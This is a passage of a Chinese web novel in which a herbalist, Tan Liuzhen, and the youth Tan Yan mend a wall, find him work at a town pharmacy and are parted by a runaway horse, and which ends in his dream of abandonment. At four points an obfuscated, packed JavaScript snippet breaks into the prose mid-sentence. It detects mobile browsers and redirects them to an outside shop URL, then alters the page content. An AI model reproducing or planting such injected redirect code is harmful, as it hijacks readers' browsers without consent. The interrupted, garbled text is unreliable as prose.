“铛——铛——铛——” 锤声在清冷的早晨格外清脆,惊起了院外树上的几只麻雀。 谭柳真看着看着,忍不住又站起来,走过去。 “你这样使不上劲,应该先——” “阿姐……”谭晏咬了咬下唇,回头看她,像一只护食的小狼,“你坐着就行……” 谭柳真讪讪地退回门口,重新坐下。 少年蹲在地上,正对着一块木板较劲。钉子歪了,他撬出来,重新对准,又一锤下去—— 还是没对准。 他呼出一口气,抬头擦了擦额头上并不存在的汗。 谭柳真忍不住偷笑,她低下头去,假装什么都没看见。 太阳慢慢升高了些,但天气确实比昨天冷得多。院子里那棵老槐树的叶子被风吹得哗哗响,时不时飘下几片枯黄的落叶。 谭晏敲了好一阵子,额头上终于出了汗,他把外衣脱了搭在栅栏上,只穿着一件单薄的里衣继续干活。 “阿晏,把衣服穿上,别着凉。”谭柳真在后面喊。 谭晏没吭声,但过了一会儿,还是把衣服捡起来披上了。谭柳真看着,心里暗暗好笑。 就在这时,院门外传来一阵脚步声,紧接着是张大娘那熟悉的大嗓门: “柳真丫头!柳真啊!听说你手受伤了?俺过来看看你!” 有福被这大嗓门惊醒了,耳朵竖得直直的,对着院门的方向汪汪叫起来。 “大娘。”谭柳真应着。 院门没关,张大娘推门就进来了,手里还提着一篮子鸡蛋。 “大娘,快坐!” 张大娘抓住她那只好手上下打量:“哎哟喂,我听说了可吓一跳!那几个天杀的流民,抓到了没有?你的手怎么样?让我看看!” “抓到了抓到了,送到镇上去了。”谭柳真用左手不方便地指了指吊着的右手,“手也没大事,就是被扎了个窟窿,养养就好。” “扎了个窟窿还说没大事?”张大娘心疼得直皱眉,“你这孩子,就是嘴硬。我给你带了鸡蛋来,一天吃一个,补补身子。” “谢谢大娘。” 张大娘一进门,有福叫得更凶了,一边叫一边往后退,退到谭晏脚边,躲在他身后继续叫。 “哟,这小狗哪来的?”张大娘稀奇地看着它。 “山下大黄的儿子,昨天刚抱回来的,叫有福。”谭柳真笑着解释,“有点怕生。” “哦!我就说长得有点像大黄那只狗。”张大娘蹲下来,朝有福伸出手,“来,让大娘看看。” 有福缩在谭柳真脚后,叫都不敢叫了,整个身子都在发抖。 谭柳真笑着,心里却猛地咯噔一下,下意识看向谭晏。 谭晏的锤子停了一瞬,然后又继续敲了下去,脸上没什么表情。 两人正说着,谭晏那边又传来一声锤响。 张大娘这才注意到院子里还有个人,扭头一看:“哟,这不是……” 谭柳真朝她比了比嘴型,张大娘才叫得出:“谭晏吗?这大清早的,在干什么。” 谭晏匆匆抬头朝张大娘点点头,脸上带着礼貌又疏离的笑,算是打过招呼,然后又低头继续干活。 张大娘见状,掩嘴悄声道: “我怎么感觉他好像不是很欢迎我……” 谭柳真搪塞笑笑,接着道:“阿晏在帮忙加固院墙。” “昨天那几个流民翻墙进来的,想着把墙弄高点儿,安全些。” 张大娘点点头:“是该加固,这年头不太平。但是他一个孩子能行吗?” “能吧。” “嗯,我也觉得应该能。” 张大娘说得笃定,显然是听说了谭晏“一打三”的神话,这村里车马都很慢,就唯独八卦传得最快。 张大娘绕有兴致地走过去,看了一会儿。 谭晏正把一块木板竖起来比划,他先用眼睛瞄了瞄高度,又用手按了按,确定稳当了才开始钉钉子。动作虽然不算熟练,但有条不紊,一下是一下。 “嘿,还真像那么回事。”张大娘稀奇地笑了,“谭晏,你这手艺跟谁学的?” 谭晏手上的动作顿了顿,低声说:“没人教。” 然后又是“铛”的一声。 张大娘没听出什么,谭柳真赶紧岔开话头:“大娘,您坐,我给您倒水。” “别别别,你手都那样了还倒什么水,我自己来。” 张大娘摆摆手,自己进屋拿了碗,从桌上的茶壶里倒了一碗水,端出来坐在谭柳真旁边。 她一边喝水一边看着院子,忽然说:“哎,丫头啊,你这院子不小,空着怪可惜的。要不你们圈出来一块地,种点菜?” 谭柳真愣了一下:“种菜?” “对啊,你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239372|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边,靠墙那块地,现在光长草。开出来种点白菜萝卜的,冬天还能吃。” 张大娘越说越起劲:“以前你一个人,忙进忙出的没工夫拾掇,现在不是有阿晏了吗?他也能帮帮忙。” 谭柳真看向那块地,确实荒着,只有几株野草在风里摇晃。 “我……不太会种菜。”她有些不好意思,“小时候没学过,后来一个人,也没人教。” “那有什么难的,我教你啊!”张大娘一拍大腿, “种菜这事儿,说难也难,说简单也简单。你把地翻松了,撒上种子,浇浇水,它自己就长出来了。最多施点肥,除除草。” 谭柳真还没说话,那边锤声忽然停了。 她扭头看去,谭晏正站在那儿,手里握着锤子,看着那块空地。 “阿晏?”她喊了一声。 谭晏回过神,低下头继续干活,但过了一会儿,他又抬起头,问了一句:“种菜好学吗?” 谭柳真惊了一下,这小子,耳朵居然这么好使?合着原来一直在偷听说话。 张大娘乐了:“好学!你要是想学,大娘教你!保准一学就会!” 张大娘站起来,走到那块空地上来回踱步,嘴里念念有词: “这块地朝阳,光线好,种白菜合适。这边稍微阴一点,可以种点韭菜。到时候再搭个架子,种点豆角、黄瓜……” 谭晏一边干活一边听着,锤声比之前慢了些,好像在分心。 “丫头啊,你这手受伤了,这段时间不能出诊吧?那收入咋办?” 谭柳真手上的动作顿了顿,笑了笑:“没事,之前攒了点钱,够花一阵子的。” “够花是够花,但也不能光花不挣啊。”张大娘叹了口气,“你这孩子,一个人撑着这个家,不容易。” 谭柳真没接话,只是低头拣草药。 张大娘忽然想起什么:“哎,对了,镇上刘大夫那儿好像在招人手,我听他媳妇说的,要人帮忙拣草药、晒药材什么的。” “活轻松,就是费点功夫。你要不要我帮你问问?你手虽然伤了,但拣草药用左手慢慢来也行,总比没钱进账强。” 谭柳真愣了一下,然后摇摇头:“不用了张大娘,真的不用。我还有钱,您别操心。” “你这孩子,跟大娘还客气啥?” “不是客气,是真的够花。”谭柳真笑了笑,“再说我这手也动不了,去了也是给人添麻烦。等好了再说吧。” 张大娘还想再劝,看她态度坚决,也就没再坚持: “行吧行吧,你自己心里有数就行。要是钱不够花了,跟大娘说,大娘虽然没啥大钱,但借你几两银子还是有的。” “谢谢大娘。”谭柳真弯了弯眼睛。 大娘临走前又叮嘱了好几遍种菜的事,说改天带种子来,教他们怎么种。 谭晏把最后一块木板钉好,站起来活动了一下发酸的肩膀。院墙比之前高了将近一尺,虽然还称不上铜墙铁壁,但至少比原来安全多了。 谭柳真走过来,用左手摸了摸那些新钉的木板,点点头:“钉得挺结实的。” 谭晏没说话,收拾着地上的工具。 16.她到底在躲什么? 谭柳真看着他低头收拾工具的样子,以为他是因为张大娘的到来不太高兴,也就没再多说什么。 这孩子本来就话少,又不爱跟生人打交道,张大娘那大嗓门一响,他能不躲着就不错了。谭柳真想着,心里那点异样也就散了。 “忙活一上午了,歇会儿吧。”谭柳真道:“粥在灶上温着,你去吃点。” 谭晏这才慌张抬起头,谭柳真反应过来,刚才他应该是分心没听见她说话。 谭晏把锤子和锯子归拢到墙根底下,站起来拍了拍身上的木屑,往灶房走去。 有福颠颠儿地跟在他后头,尾巴摇得欢实。 以前谭柳真一个人想养小动物的时候,特意找村里卖皮货的老周头要了一小截皮带。老周头人好,没收钱,还帮她裁好了长短。 谭柳真从箱子底下翻出那截皮带,又找出一把锥子和一截细麻绳,坐在床沿上,把东西一样一样摆在面前。 有福不知道什么时候跑进来了,蹲在她脚边,仰着脑袋看她,黑溜溜的眼睛里满是好奇。 “看什么看?”谭柳真低头看它,“给你做项圈呢,别乱动哈。” 有福当然听不懂,但它听懂了语气,知道是在跟它说话,尾巴在地上扫来扫去,扫起一小片灰尘。 谭柳真用左手拿起皮带,比划了一下长短。 老周头裁得正好,不用再改。她只需要在两头各扎一个孔,穿上麻绳,就能系住了。 说起来简单,做起来却不容易。 她右手吊着,只能用左手使锥子。可锥子这种东西,本来就需要两只手配合,一只手扶着,一只手用力。现在只剩左手,扶也不是,用力也不是,试了好几下,连皮都没扎穿。 有福蹲在旁边,歪着脑袋看她,好像在奇怪她在干什么。 谭柳真被它看得有点不好意思,嘟囔了一句:“你个小臭狗,没看过人做针线啊?” 有福听不懂,但尾巴还是摇了摇。 谭柳真深吸一口气,换了个姿势。 谭晏走进堂屋,在桌边坐下。 谭柳真听见动静,发现他换了衣服,刚洗过澡。 “头发怎么不擦干?”谭柳真看着他湿漉漉的头发,“这么冷的天,小心着凉。” 谭晏拿起搭在椅背上的布巾,胡乱擦了两下。 谭柳真看着他那个敷衍的擦法,想说什么,又咽了回去。 从上午张大娘来了之后,他就一直这样,闷闷的,话更少了。 虽然平时话也不多,但那种闷是不一样的。平时是安静,现在是憋着什么,她不是很了解这一年龄阶段的孩子,这个反应,这难道是要爆发的架势么? 但是张大娘这次过来主要是看看她的手,没有说过分的话,难不成还要和张大娘老死不相往来,以后都不允许她进自个院子才行么,这要求未免也太任性了些。 屋里安静了一会儿。 忽然,谭晏开口了。 “阿姐。” 谭柳真抬起头:“嗯?” 谭晏看着她,脸上没什么表情,但眼睛里有一点她看不明白的东西。 “你还有钱吗?” 谭柳真愣了一下。 这个问题来得太突然,她一时没反应过来。 谭晏又重复了一遍:“我是说,家里的钱,够用吗?” 谭柳真这才回过神来,心里一下子明白了。 他肯定是上午偷听了她和张大娘的对话。 她笑了笑,有福抬头看了他一眼,又把脑袋搁回谭柳真鞋上。 谭柳真说:“你是不是听见上午张大娘说的话了?” 谭晏沉默了一下,点点头。 “担心家里没钱?” 谭晏又点点头。 谭柳真笑了,笑得眼睛弯起来:“你操心的还挺多。” 她顿了顿,开始给他算账:“我来这山里,已经九年了。” 谭晏的眼睛动了动。 “九年,” “我一个人住,没成过亲,也没生过孩子。平日里给人看病抓药,多少能挣点。奶奶走的时候,还给我留了点东西。” “所以啊,”谭柳真用左手比了个手势,“怎么说呢,我虽然算不上有钱人,但手头还是有点小钱的。够花,够花。” 谭晏听着,脸上的表情却没有松下来。 他还是那副样子,眉心微微拧着,像是在想什么。 过了一会儿,他又开口了。 “阿姐,要不我下山去刘大夫那儿打工。” 谭柳真一愣:“什么?” 谭晏说:“上午张大娘说的,镇上刘大夫那儿招人手。我去帮忙分拣草药,能挣点钱。” 谭柳真皱起眉头:“你去?” “嗯。” “你才多大?”谭柳真下意识地说,但话一出口,她又想起,这孩子到底多大,她也不知道。 如果真的有十八九岁的话,去帮工确实是够年纪,但他长得这么衣服小白脸,万一被人欺负怎么办。 不对,看他一打三的架势,被欺负不太可能,但是万一被哪家的黄花大闺女给拐走了呢? 不敢想,简直不敢想,那她好不容易捡回来的伴就要没了,她马上就又要回归孤身一人的生活。 想到这,她突然愣了一会,心底像是有什么东西沉下去了,知道谭晏说话她才反应过来。 谭晏说:“我能干活。” 谭柳真看着他,心里有点复杂。 “不用去。”她说。 谭晏看着她,眼睛里有一点不解。 谭柳真想了想,说:“我不需要你去挣钱。家里有钱,真的够花。” 谭晏沉默了一会儿,又说:“我可以去,但是……阿姐要陪着我。” 谭柳真愣了一下:“陪着你?” 谭晏低下头,看着地上趴着的有福,声音低低的:“我一个人不行。” 这几个月来,他们俩一直待在一起,吃饭一起,干活一起,睡觉都一个在屋里一个在门口。 谭晏对这样的日子感到非常知足。 谭柳真心里有点不是滋味:“阿晏,我知道你是想帮我。但是真的不用去。咱们就在山上待着,挺好的。” 她顿了顿,又说:“山上才安全。” 谭晏抬起头,看着她。 那一瞬间,他眼睛里有什么东西闪了一下。 谭晏忽然想起一些事。 阿姐很少去镇上人多的地方,没人看病的时候,她就在山上待着,捣鼓那些草药。 她有很多草药,堆了半间屋子。 那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248623|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草药,她要是想卖,早就卖了。 可她从来没卖过。 她宁可让那些草药堆在那里,也不拿去换钱。 谭晏看着眼前这个人,忽然发现自己好像从来没有真正了解过她。 “阿姐。”谭晏忽然开口。 谭柳真正低头逗有福,听见他喊,抬起头:“嗯?” 谭晏看着她,问:“你以前……住在哪里?” 谭柳真的手顿了一下。 很轻微的一下,但谭晏看见了。 “就是……在别的地方。”谭柳真笑了笑,有点勉强,“后来搬来这里的。” 谭晏又问:“那你以前……有家人吗?” 谭柳真没说话。 屋里的空气好像忽然凝住了。 有福好像感觉到了什么,抬起头,看看谭柳真,又看看谭晏,喉咙里发出一声轻轻的“呜”。 谭柳真低下头,看着有福,伸手摸了摸它的脑袋。 过了一会儿,她才开口,声音很轻:“有,后来没有了。” 谭晏看着她,想再问,却发现自己问不出口。 她低着头,他看不见她的脸,只看见她的侧脸,和那只在有福脑袋上一下一下摸着的手。 那只手很轻,谭晏忽然不敢再问了。 谭柳真把麻绳穿进去,打了个结,又试了试松紧。刚好能伸进两根手指,不会勒着有福,也不会太松掉下来。 她举起那个做好的项圈,对着窗户透进来的光看了看。 虽然手工粗糙了点,孔也扎得歪歪扭扭的,但好歹是个项圈。 “有福,”她喊了一声,“过来。” 有福早就等不及了,脑袋往她腿上蹭。 谭柳真用左手把项圈套在它脖子上,系好。 项圈大小刚好,棕色的皮带衬着它黄黑相间的毛,还挺好看的。 有福一开始有点不习惯,缩着脖子不敢动,眼睛往上翻,想看又看不见。过了一会儿,它试着走了两步,发现脖子上多了个东西,又开始甩脑袋,想把项圈甩下来。 甩又甩不掉,它急得在原地转圈,尾巴都忘了摇。 谭柳真看着它那副傻样,忍不住笑出声来:“别甩了,甩不掉的。戴着戴着就习惯了。” 有福停下来,委屈巴巴地看着她,呜呜叫了两声。 谭柳真伸手摸了摸它的脑袋:“好看,真的好看。不信你自己照镜子。” 然后,谭柳真忽然抬起头,脸上已经换了一副表情,笑着,眼睛弯弯的,好像刚才什么都没发生过。 “你看,”她把有福抱起来,让它对着谭晏,“我给有福做的项圈,好不好看?” 有福被抱起来,四只爪子悬在空中,有点懵,但还是配合地摇了摇尾巴。 谭晏看着它脖子上那个歪歪扭扭的项圈,又看了看谭柳真脸上的笑。 他点点头,说:“好看。” 谭柳真笑得眼睛更弯了,把有福放下来,拍了拍它的脑袋:“听见没?他说好看。这下你信了吧?” 有福落回地上,甩了甩身子,颠颠儿地跑到谭晏脚边,拿脑袋蹭他的裤腿,好像在显摆自己的新项圈。 谭晏低头看着它,伸手摸了摸它的脑袋。 有福舒服得眯起眼睛,喉咙里发出呼噜声。 17.不要赶我走 夜深了, 谭柳真却睡不着,她忽然意识到一件事。 她好像从来没有问过谭晏想不想留在这山上。 从那天晚上他翻墙进来,到她收留他,到他们一起过日子,这几个月来,一直都是她在安排,她在决定。吃什么,做什么,怎么过。谭晏从来不说话,从来不提要求,从来都是她说怎样就怎样。 她以为他是愿意的。可她是真的以为,还是只是让自己这么以为? 谭柳真闭上眼,脑子里乱糟糟的。 十八九岁的男孩子,应该是什么样子的? 谭柳真不知道。她在宫里头那些年,见的都是锦衣玉食的皇子皇孙,那些人和谭晏不一样。可她知道,十八九岁的人,不应该一辈子窝在山里,守着一个比他大好几岁的女人,每天劈柴、挑水、加固院墙。 他应该有他自己的日子,她太自私了。 她一个人在这山上住了九年,寂寞怕了。好不容易捡着这么个伴儿,就死抓着不放,生怕他走了,生怕自己又变回一个人。 谭柳真睁开眼,眼眶有点酸。 她不能拦着谭晏想去镇上,想去看看外面的世界,想去做点什么事。 更不能因为自己害怕被认出身份,就把他困在这山上,他应该有他自己的路…… 月光从窗户的这一头,慢慢挪到那一头。 第二天一早,谭柳真起来的时候,谭晏已经把粥熬好了。 有福跟在他脚边转来转去,尾巴摇得欢实。看见谭柳真出来,它立刻撇下谭晏,颠颠儿地跑过来,往她腿上扑。 谭柳真蹲下身,用左手摸了摸它的脑袋:“这么早就起来了?” 有福呜呜叫着,拿舌头舔她的手。 谭晏从灶房探出头来:“阿姐,粥好了。” 谭柳真站起来,看着他。 他站在灶房门口,身上穿着那件洗得发白的旧衣裳,袖子卷到手肘,露出一截精瘦的小臂。头发还是湿的,应该是早上又洗过了,有几缕贴在脸颊上。 谭柳真心里忽然有点不是滋味。 谭晏把粥端上来,又端了一碟咸菜。有福蹲在桌边,仰着脑袋看着他们,尾巴在地上扫来扫去。 谭柳真喝了一口粥,抬头看他:“吃完饭,陪我去趟镇上。” 谭晏正要坐下,闻言顿住了。 他看着她,眼睛里有一点意外:“镇上?” “嗯。”谭柳真又喝了一口粥,“去刘大夫那儿换药。顺便……” 她顿了顿,看着他:“顺便问问招人手的事。” 谭晏愣住了,两人收拾完一起下山。 刘大夫的医馆在镇子东头,是个不大的门面,门口挂着一块褪了色的木匾,上头写着“刘记药铺”四个字。 谭柳真掀开帘子走进去,谭晏跟在后面。 铺子里一股浓浓的药香,靠墙一排药柜,密密麻麻的小抽屉,每个抽屉上都贴着药名。柜台后面站着一个中年男人,穿着灰布长衫,正称药。 听见动静,他抬起头,看见谭柳真,笑了起来:“谭大夫来了?快坐快坐。” 谭柳真笑了笑:“刘大夫,我来换药。” 刘大夫从柜台后面绕出来,引她在椅子上坐下。他一边拆她手上的纱布,一边说:“怎么样,手好些没?” “好多了,就是还得养几天。” 刘大夫点点头,仔细看了看她的伤口:“还行,没发炎。再换两次药,应该就差不多了。” 谭柳真应了一声,忽然说:“刘大夫,听说您这儿招人手?” 刘大夫手上顿了顿,抬头看她:“怎么,你想来?” “不是我,”谭柳真用下巴朝谭晏点了点,“是他。” 刘大夫顺着她的目光看过去,看见站在旁边的谭晏。 谭晏站在那儿,背挺得直直的,眼睛直直地盯着刘大夫,像是在装乖的小孩。 刘大夫打量了他两眼:“这是……” “我弟弟,”谭柳真说,“想找点活干。” 刘大夫又看了看谭晏,点点头:“看着是个利索的。多大了?” 谭柳真一愣,她还真不知道。 谭晏忽然开口:“十八。” 刘大夫点点头:“我这儿确实缺个人手,主要是分拣药材、晒晒药、打扫打扫屋子,活不重,就是得细心。” “一个月二两银子,管一顿午饭。早上卯时上工,下午酉时下工。你要是能干,明天就能来。” 谭晏看向谭柳真。 谭柳真没看他,只对刘大夫笑了笑:“刘大夫,您给他仔细说说,具体都干些什么?” 刘大夫便细细说了一遍。 怎么分拣药材,怎么晾晒,怎么打扫,怎么归类。他说得详细,谭晏听得认真,时不时点点头,像是在记。 谭柳真看得出来,他是在高兴。 正说着,后头帘子一掀,走出来一个姑娘。 十七八岁的样子,穿着淡青色的袄裙,头发挽成双髻,脸上带着笑。她手里端着个托盘,上头放着两盏茶。 “爹,来客人了?”她把茶放在桌上,抬头看向谭柳真,又看向谭晏。 看见谭晏的时候,她愣了一下。 谭晏站在那儿,逆着光,脸看得不太清楚,但那个身形,那个站姿,那个冷淡疏离的气场。 她没见过这样的人。 谭柳真把她那一下愣看得清清楚楚,她心里忽然有点复杂,但脸上还是笑着。 刘大夫介绍:“这是我女儿,叫刘杏儿。杏儿,这是谭大夫,这是她弟弟。” 刘杏儿回过神来,脸微微红了一下:“谭大夫好。”又看向谭晏,抿了抿嘴,轻声说:“你好。” 谭晏看着她,点了点头:“你好。” 就那么一下,连个笑都没有,但刘杏儿的眼睛却亮了一下。 十八九岁,是该成家的年纪了。村里像他这么大的后生,好几个都娶了媳妇,有的孩子都有了。谭晏虽然不爱说话,但长得好,手脚利索,肯定有人看得上。 要是他愿意,留在镇上,娶个媳妇,生几个孩子,过寻常日子…… 谭柳真低下头,看着自己那只包扎着的手。 刘大夫给谭柳真换好药,重新包扎上。谭柳真站起来,活动了一下手指,觉得比之前好多了。 “刘大夫,多谢您。” 刘大夫摆摆手:“客气什么。那这孩子的事……” 谭柳真看向谭晏。 谭晏站在那儿,看着她,谭柳真移开目光,对刘大夫说:“让他自己拿主意吧。” 刘大夫点点头,看向谭晏:“怎么样,小伙子,想好了吗?” 谭晏点点头,眼神里像是下了什么必定的决心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253168|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人皆很满意,帮工的事就这么愉快的决定,两人出了铺子,走在街上。 “活不重,还能学点东西,”谭柳真高兴道,“一个月二两银子,够你攒点私房钱了。” 她顿了顿,又说:“就是每天来往要辛苦一点,山上山下的跑。你要是觉得累,我也可以在镇上给你租一间屋子住,租金我先付着。” “租屋子?”谭晏的脸色变了,本来他还在暗自窃喜。 谭柳真点点头:“对,这样你就不用每天跑来跑去了。镇上租个屋子,一个月也就几百文,我……” “为什么要帮我租房子?” 谭柳真看着他,忽然觉得有些好笑,以为他没听懂,解释道:“租房子你就不用来返了呀。” 谭晏这才恍然大悟,心脏扑通扑通直跳,开始有些慌了。 “现在就去看一下房子吧,看有没有合适的。” “唉,那里就有一个……” 她看见了一个打着租借的招牌,随后快步向前走去,谭晏愣了一下,吓得赶紧追上去。 谭柳真刚要走进铺子,就被人从背后拉了一把。 “为什么要租屋子?不是说我们一起么。”谭晏的表情十分难看,谭柳真还是第一次看见他把眉毛拧成一个八字。 谭柳真被问得有些莫名其妙,她道: “我只是觉得,你要是想留在镇上干活,每天跑来跑去太累了,” “不如……” “我不怕累。我不要租屋子。我要回山上。” “你……你这……” 谭柳真看着他,不知道该说什么。刚才不是还说的好好的么,怎么一下子就变脸,什么一起,她有说过这话吗? 她正皱眉思索着,谭晏紧张地看着她,忽然觉得有些委屈,势必要得到一个满意的答复。 “你是不是要赶我走……” 此言一出,谭柳真顿时一惊。原来两个人已经误会到了这种地步。 “不不不……”是帮助你独立,不是赶你走。 她正要解释,头都摇成了拨浪鼓。 “让开让开!快让开!” 突然,有人大喊大叫。 谭柳真还没看清发生了什么,就看见一匹马从街那头冲了出来。 那是一匹枣红马,膘肥体壮,浑身的毛在阳光下闪着光。可它的眼睛是疯的,瞪得溜圆,嘴里喷着白沫,马蹄踏在地上,发出沉闷的巨响,一下一下的,像是砸在人心上。 马背上趴着一个人。 “疯马!疯马!” “快躲开!” 人群彻底炸了。 刚才还在慢慢走动的人,瞬间变成了一股洪流。有人在往前跑,有人在往后躲,有人在原地打转不知道该往哪儿去。尖叫声、哭喊声、脚步声混在一起,震得人耳朵嗡嗡响。 谭柳真只感觉到一股巨大的力量撞过来,把她撞得往旁边一歪。 她下意识地去抓谭晏的手, 可是没抓住。 “阿姐!” 她只看见谭晏的脸在她眼前晃了一下,看见他眼睛里骤然涌起的惊恐,看见他张开嘴好像在喊什么,看见他拼命地伸出手来想要抓住她…… 然后她就被人群裹挟着往后退去。 “阿晏!” 她喊了一声,可她的声音刚出口,就被淹没在铺天盖地的嘈杂里。 18.琥珀 谭柳真不知道的是,她捡谭晏回来的那个晚上,谭晏坐了一个梦。 当天夜里,他睁开眼。 周围是朦朦胧胧的一切,刺耳的耳鸣声在耳边回荡,空气突然变得闷热又潮湿…… “今天带你们出来开不开心?” 母亲一手挽着弟弟,一手牵着谭晏,兄弟相差两岁。母亲两只手上都别着大大小小的礼盒,她的眼角弯弯的,鱼尾纹勾勒出深深的两条缝。 谭晏低头看了看自己的穿着。 上身是藏青底织银丝的对襟短褂,绣着细细的云纹。下身阔腿裤,脚上一双软底小牛皮靴。头上用红绳编着几股麻花辫,长发披散在肩上。 他又抬头望向天空,脖子上戴着一个沉甸甸的银项圈,一动就叮当响。 这个世界仿佛浸在蜜罐子里,天色是诡异的琥珀色。 周围的一切突然变得那么高大,巷子里难受地堵着一群人,但是却都看不清脸,他们像琥珀里的昆虫那样,行动迟缓,神色僵硬。直让人看得心上发毛。 “又来了。” “又是这个梦!” 谭晏最熟悉这场景不过,因为这是他的梦境,这个同样的梦境他已经重复经历过许多次。梦中熟悉的场景,熟悉的过路人,甚至母亲那熟悉的“亲切的”话他都已经咬文嚼字般的烂熟于心。 谭晏扎着许多个小辫,梦境里还是他第一次做这个梦时的打扮,可能是年龄的缘故,小脑袋止不住地左右摇晃,小麻花辫在脑袋的带领下也跟着左右左右地啪啪打着他的小脸。 他却一点也不恼,反而很享受。 谭晏苦苦地冥想这该如何是好,眉毛被他拧成一条线。 他记得清楚,母亲会拉着自己和弟弟去小巷子里的衣铺里说是给自己买花灯。 可刚到衣铺她又叫嚷着说钱包落在别处了,要回去取。 “我和你们一起去取吧,母亲。” 小谭晏拽着母亲的衣角,不想让他们离开。 可母亲像是早有预料,摸着他的头,安慰他,随后手指指向衣铺上挂着的漂亮花灯对他说: “乖,母亲马上就回来,你先看看小花灯好吗?这么多好看小花灯耶!” 怕哄不住小谭晏,他又急忙补充说:“你哪都不要去,就站在这里选灯笼好吗?等母亲回来就把你选的给买下来。” “在母亲回来之前,你哪都不要去,就站在这里选裙子。好吗?”再三强调。 小谭晏摆着双眼,母亲的说辞果然与前面几个梦境别无差异。 于是他干脆放弃抵抗。因为他记得清楚:无论他是撒泼打滚,还是用感情牌,都免不了母亲带着弟弟离开,然后他在衣铺里等啊等,再也见不到弟弟和母亲回来。最后,梦境结束。 小谭晏虽然年纪小,但脑瓜子始终是想事情的。在重复做了几次这个梦后,他就想了许久,干脆决定不再和母亲扯嘴皮,直直地就放母亲和弟弟离开了。 母亲抱着弟弟向走去,谭晏安静地坐在凳子上,目不转睛的盯着衣铺上挂着的漂亮花灯,还背对着母亲,已然一副让母亲放心的模样。 母亲和弟弟刚走不久,谭晏立马就转了过来。他偷偷地跟在母亲和弟弟的身后。 他倒是想要看看母亲和弟弟离开之后,到底是去了哪里?为什么会不来接他? 如果这次计划失败了也没关系,反正这个梦境做了许多次,这次失败了,下次梦里再换一个方法,就像闯关打老虎一样! 或者是说这次梦境结束以后再也不会做同样的梦境也好,反正他早就厌烦这样同样的梦境了。 他心里暗自窃喜着认为自己还真聪明。 他跟着母亲的脚步也越来越不安分,渐渐地竟变成了一蹦一跳的。 直到,他蹦到了马车前。 他亲眼看着母亲将弟弟推上车,然后神色慌张地朝身后、周围忙看。 他再也笑不出来了, 母亲在四周看了看,没有发现什么,急忙迈开步子想要两三下就蹬上车。 可是一下她就动弹不了了,他感到身后有人拽着他的衣角。 她怕极了,脸色顿时吓得煞白。 低头就对上了谭晏深色的眸子。 谭晏抬头看向母亲,眼神冰冷失望,脸色像摔在了地上一样难看。 但还是硬生生地强挤出一句话:“母亲,你要去哪呀?我还在店子里呢。” ………… …… 声音在耳边回荡,眼前突然又变得一片漆黑…… 一抹晶莹的泪珠挂在眼角,谭晏感到一股难以排解的闷气在胸腔涌动…… 他突然感到鼻子一酸,呼吸困难,一下子就喘不上气, 人群还在乱。 谭晏被人流裹挟着,不知道被推到了哪里。等他终于从那股洪流里挣脱出来的时候,发现自己站在一条陌生的巷子里。 他愣愣地站在那儿,喘着粗气,四处张望。 他不认识这条街。 谭晏猛地转身,想往回跑,可巷子口全是人,密密麻麻的,他根本分不清方向。 “阿姐——” 他喊了一声,声音淹没在嘈杂里。又喊了一声,还是没人应。 他开始往前跑,跑出巷子,跑上另一条街,跑过一个又一个路口。他不认识路,只能凭着感觉乱跑,可到处都是人,到处都是陌生的脸。 谭晏的心像是被什么东西狠狠揪了一下。 阿姐是不是……借着这个机会,就这么走了?她还在这里么?她是否也在这么着急地寻找他? 谭晏的脸色一瞬间变得煞白。 阿姐不会的,阿姐不会赶他走的。 可是母亲也说过…… 母亲也说过让他等着,说过马上就回来,说过要给他买花灯,然后母亲就走了,再也没有回来。 谭晏站在原地,只觉得浑身的血都凉了。 他不敢停,肺里的空气像是被人抽干了。 他张着嘴,大口大口地喘,可喘进来的气根本不够用。喉咙里火辣辣的,像是有人在里面划火柴,一下一下地烧。他咽了口唾沫,唾沫也是干的,卡在喉咙里,咽不下去也吐不出来。 腿开始发软。 跑过第三条巷子的时候,他的右腿忽然软了一下,膝盖一弯,整个人往前栽去。他踉跄了两步,伸手扶住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259091|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边的墙,才没有摔倒。 